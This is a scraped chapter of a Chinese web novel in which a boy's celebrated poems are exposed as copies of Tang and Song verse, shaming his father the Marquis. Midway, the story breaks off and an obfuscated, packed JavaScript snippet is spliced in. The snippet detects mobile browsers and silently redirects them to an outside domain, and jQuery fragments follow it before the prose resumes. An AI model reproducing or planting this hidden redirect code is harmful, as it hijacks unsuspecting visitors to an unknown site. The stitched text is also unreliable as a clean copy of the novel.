“李白?杜甫?苏轼?这都是什么人?为何在这诗集之中,那唐文渊作诗词,竟然署的是他们之名?”
“啧啧,若是真有这些人存在,曾经做过这些诗词,为何从未有人听闻?”
“还有这唐宋是何朝何代?闻所未闻,简直是咄咄怪事!”
“不过有作者简介,据说是与我们大燕国隔海的一片大陆上的国家,据说是秦末出海的汉人后裔,在那边也建了个大国,朝代更迭了上千年呢!”
“我就说嘛,那孩子当初传出来的诗词,一看就是阅历丰富的成年人所作,哪里是个孩子能有的心境啊!”
“哈哈,这神童果然是假的!那承恩侯还真是不要脸,不知道从哪里弄了本诗集,就冒充是自家孩子所作,也不看看那些诗,是一个十岁孩子能写出来的吗?”
“原来那首《清平调》是李白为杨贵妃而写的啊,一共三首,前后呼应,以花喻人,这等华丽辞藻,浓艳春情,哪里是个毛都没长齐的孩子能懂的!”
“是极是极!‘一枝秾艳露凝香,云雨巫山枉断肠。’啧啧,难怪那孩子不敢抄这一首啊,嘿嘿!”
懂得都懂,一众“才子”们的话题开始跑偏,开始讨论起到底是那位李白笔下的杨贵妃漂亮,还是当今的唐贵妃美丽。
又有人从《唐诗三百首》里找出《长恨歌》,用那一句“回眸一笑百媚生,六宫粉黛无颜色”来对比,说那几位诗集中的诗人都为杨贵妃写诗,真是倾国倾城的美人。
如此一来,大家从诗词开始讨论到美人,都兴致勃勃地开始YY起能得到这些诗人如此美誉的杨贵妃,到底是何等美丽的绝色佳人。
唐贵妃那是当今皇帝的女人,大家自然不能随便议论,但对于这不知名国度的诗中美人,当然可以成为他们今日最火热的谈资。反正那里的皇帝,总不能活过来漂洋过海地来抓他们吧!
只是就算他们不敢议论唐贵妃,可唐贵妃知晓此事后,反而更加难受,却又不敢向皇帝抱怨哭诉,毕竟那可是自己的亲哥哥带着唐文渊进来献诗,本来是为了给自家长脸,现在却成了打脸,让她如何能不难受。
“查!让承恩侯去查,到底是谁拿出来的这些诗集在卖!”
这件事并不算难查,因为林夫人压根就没掩饰或隐藏自己的东家身份,最初售卖诗集的书坊是她的陪嫁铺子,唐家的人并不是不知道。
尤其是这几家书坊和两家酒楼,原本都已经交给承恩侯,由老管家帮着打理,掌柜们都是直接向他报账,方便承恩侯在外应酬开销,免得要花点钱还得找林夫人支钱。
这也是林夫人特地给他做的脸面,生怕他因为清高自傲不屑赚钱而没钱花,被别人笑话吃软饭。
在她和承恩侯和离后,这些铺子的掌柜们也都重新向她报账,就连今年承恩侯在外面花销签下的账单,也都一并送去承恩侯府,他们林家的铺子可不会再替唐家的人付账。
所以林夫人在让他们印制售卖诗集的时候,根本没有遮遮掩掩,正大光明地售卖,还特地说这些都是林家从海外回来的商队带回来的,据说也是失传已久,就剩下这两本破破烂烂的书,原本都是被人用来垫桌子的,没想到被识字的人看到后,惊为天人,重金买下来带回大燕。
谁能想到,最近燕京疯传的小神童,做出的极品诗词,就是从这两本诗集中抄来的呢?
承恩侯让人出去一问,得知是林夫人的手笔,气得回家摔了套茶杯后,依然无可奈何。
就连皇帝都要看在护国公的面子上,准许她和离带走自己的嫁妆,几乎掏空了承恩侯的家底和唐贵妃的私房。
如今要是再惹上她,承恩侯不敢想象她会做出什么事。
两人成亲这十年来,虽不说举案齐眉,也是相敬如宾,林夫人听他的话,收敛了性子,让他几乎都忘了,最初自己不大愿意娶她的原因之一,就是护国公千金是京都出了名的泼辣厉害。
只是她对外人厉害,却从未对他有什么不敬,直到这次和离,他才第一次认识她真正的模样。
就是个母老虎啊!
还是个护犊子的母老虎。
他现在开始有些后悔起来,如果不是急着给唐文渊扬名,想要证明自己为了这个儿子放弃林夫人的儿子是无比正确的,想要补偿童年的自己,他也不会这么急着让唐文渊参加各种文会和宴会,靠着诗词扬名。
虽说那些诗词的确十分惊艳,让他也震惊不已,曾经怀疑过这是否是一个十岁小孩能写出来的,可转念一想,他也是饱读诗书的人,都从未听过这些诗词,也不见唐文渊跟外人有接触,那肯定不会是找的枪手,只能说是唐文渊少年老成,更可怜他年幼丧母,一路风霜艰险,才能有这般阅历写出这等诗词。
结果打脸就来得如此之快,唐文渊拿出来的才不过六七首诗,在家里给他看过的还有两首,准备留着明年元宵夜发出去的,全都被那两本诗集一字不差地刊发出去。
这怎能不让承恩侯颜面扫地,气急败坏呢?
连上朝的时候,都有人问他,为何得到这海外诗集,不用来自己扬名,反而替儿子扬名,这个儿子的神童之名是假的,那上一个呢?是不是也是靠他弄虚作假?
说他的时候其他人都笑着看热闹,可是一提到上一个,同在朝堂之上的老护国公不干了,不屑地说他的孙子才不屑抄什么诗词,他那神童之名,是能过目成诵,是记性好悟性好,由老师们当堂教导考核得出来的名声,可不是靠抄别人的诗词来扬名的。
大家这才知道,那位承恩侯前世子,现在已经跟着自立门户的林夫人生活,甚至改姓为林,据说明年就要参加童生试,顿时一片哗然,看向承恩侯的眼神就格外不同了。
这位是为了个抄袭诗文的假神童,放弃了一个真正的小天才,不知是眼瞎了还是脑子坏了?
有护国公在,大家自然不敢再说林铭柯,都在调侃承恩侯,问他家的那个新儿子明年要不要也参加童生试,如果不敢参加的话,继承他的爵位当个世子也是今生修来的福气。
承恩侯素来以自己的文采为傲,更以自己教子有方为傲,在外面无论是当初的唐铭柯还是现在的唐文渊,都是给他扬名的份,如今一朝翻车,被人嘲讽调笑,哪里能忍得住,干脆就告病早退,直接回家闭门不出。
其实他也是心虚,自从在诗集中看到《清平调》原作者李白写给杨贵妃的是三首诗而不是唐文渊交出的那一首诗,就怕皇帝和唐贵妃会找他算账,没见本该这两日就发下来的承恩侯世子封诰,忽然就没了音信,他都没敢去礼部询问。
今日笑话他的人里,就有一位是礼部侍郎。
当初他曾经带着唐铭柯和唐文渊参加文会的时候,几次将那位侍郎之子比下去,让对方颜面无光,如今轮到他爆出弄虚作假之名,对方自然不会放过这等机会。
回到府中,他便命人叫来了唐文渊,面色深沉地说道:“如今整个燕京,甚至连其他州府都已经有《唐诗三百首》和《宋词三百首》出售,你那些诗文,已经被人翻出来说你抄袭,以后不能再用了。”
唐文渊也是第一时间就听说了,只不过他是从唐家下人口中得知的。
如今的承恩侯府,下人已经不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716374|173729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
足林夫人在的时候一个零头,每月的月钱更是减半发放,除了一些当初签过卖身契的奴仆之外,其他能自谋出路的雇佣仆从护卫,都已经离开。
就比如当初唐铭柯身边,除了一个管事嬷嬷,一个大丫鬟之外,还有两个小丫鬟,两个粗使丫鬟,两个洒扫婆子,两个书童和一个长随,整个院子里住的满满当当。
而如今唐文渊身边,只有一个书童,一个洒扫婆子,其他的那些小丫鬟们,都已经走的走,卖的卖,显得整个院子冷冷清清少人气。
没办法,按照以前林夫人管家的时候,这些丫鬟们每年要做四季衣服,每个月的月钱也不少,加起来这个院子一个月的开销就超过二十两。
而承恩侯在明面上的俸禄折算下来,才不过一百两。就算加上当初皇家赏赐的庄子收入,年收入也不过一千多贯,还不够平日里的人情往来,哪里还能养得起这么多大小丫鬟。
原本府中的一应开支,都由林夫人负责,她的嫁妆丰厚,不算银钱珠宝,还有十二家赚钱的铺子和五个田庄,出嫁时可以说是十里红妆,让燕京的人都羡慕不已。
若是她当初难产而死,这些嫁妆就都留在承恩侯府,能够让他们父子继续过上衣食无忧的生活。
可现在她不但没死,和离还要带走嫁妆,可这十年中已经为承恩侯府花销了不少,其中有不少都是贴补给了唐贵妃,为了避免爆出来影响到唐贵妃,承恩侯也只能咬着牙硬着头皮还上。
现在府中的一应开销都缩减,下人们的月钱也减半,自然怨声载道,一听到外面的传言,就有人忙不迭地传入府中,想要看这位新少爷的笑话。
在他们看来,若不是有这个新少爷的出现,侯爷也不会与夫人和离,还让夫人带走了世子。
若是世子留在府中,林夫人看在儿子的面上,肯定会留下一部分嫁妆供他生活开销,哪里会像现在一样,整个侯府都成了空架子。
这个新少爷,尤其是个表面光的绣花枕头。
只是唐文渊并不紧张,略略叹了口气,便说道:“此事是孩儿不对,孩儿原本想尽快扬名,为父亲争光,才借用了那些古人之作。只是那些古人并非我大燕之人,没想到会被人传入……是孩儿的错,以后孩儿不会再靠这些诗文争名,明年的童生试,孩儿也愿去一试。”
“此外,孩儿在南方除了双季稻外,还曾经见过那些海外商人制造贩卖琉璃,孩儿便偷偷跟着学习了一番制造琉璃之术,若是父亲愿意,孩儿愿意将方子献上,侯府若是多个琉璃工坊,也能多个进项……”
他一提双季稻,承恩侯就哑火了,就光凭这孩子千里迢迢带回来献给皇帝的双季稻,推广下去,能够活人无数,就足以让皇帝给他一份功劳,至于那点抄袭的名声……
文人之间,抄袭那点事能算抄吗,那是借鉴,是引用,是传播……
“好吧,你把方子交给我,这事我去办,你就专心准备应试,明年的童生试,你弟弟可是要与你同场赴考的。”
“是!”唐文渊应下,平静地小脸上毫无表情,一点儿也不激动。
同场赴考?那也得他能去考试才行啊!
“啊啊啊阿嚏!”林铭柯正在抄《春秋》集注时,忽然打了个喷嚏,不但没有担心自己感冒,反而笑了起来。
这两天满燕京城都在传颂《唐诗》、《宋词》,自然也少不了会将唐文渊和他一起拿出来说事比较,他听得多了也就习惯了。
至于别人怀疑他的“神童”含量,他也丝毫不在意。
反正,明年童生试上,是骡子是马,拉出来一试便知!